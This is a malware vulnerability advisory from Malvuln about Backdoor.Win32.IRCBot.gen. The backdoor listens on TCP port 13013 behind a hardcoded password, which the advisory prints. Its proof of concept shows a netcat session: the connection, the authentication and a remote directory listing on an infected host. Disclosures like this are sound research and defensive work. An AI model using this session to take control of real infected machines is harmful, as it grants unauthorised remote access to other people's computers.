Backdoor.Win32.IRCBot.gen Weak Hardcoded Password

`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/9b12ff6b8b025e7fb0a171abad41c79c.txt  
Contact: [email protected]  
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Threat: Backdoor.Win32.IRCBot.gen  
Vulnerability: Weak Hardcoded Password  
Description: The malware listens on TCP port 13013. Authentication is required for remote user access. However, the password "slimanus" is weak and hardcoded in plaintext within the executable.  
Type: PE32  
MD5: 9b12ff6b8b025e7fb0a171abad41c79c  
Vuln ID: MVID-2021-0295  
Dropped files: winvxd.exe  
Disclosure: 07/18/2021  
  
Exploit/PoC:  
nc64.exe x.x.x.x 13013  
pwd slimanus slimanus  
psychward revised 0.3, awaiting your command  
dir  
<.>  
<..>  
<0409>  
12520437.cpx (2151)  
12520850.cpx (2233)  
@AudioToastIcon.png (308)  
@EnrollmentToastIcon.png (330)  
@VpnToastIcon.png (404)  
@WirelessDisplayToast.png (691)  
aadauthhelper.dll (154624)  
aadtb.dll (954880)  
AboveLockAppHost.dll (252928)  
accessibilitycpl.dll (3804160)  
accountaccessor.dll (215552)  
AccountsRt.dll (363520)  
AcGenral.dll (2393600)  
AcLayers.dll (372224)  
acledit.dll (9216)  
aclui.dll (5388800)  
acppage.dll (68096)  
AcSpecfc.dll (471552)  
ActionCenter.dll (261632)  
ActionCenterCPL.dll (541184)  
ActivationClient.dll (30720)  
ActivationManager.dll (444928)  
activeds.dll (222720)  
activeds.tlb (112128)  
ActiveSyncProvider.dll (1546752)  
etc...  
  
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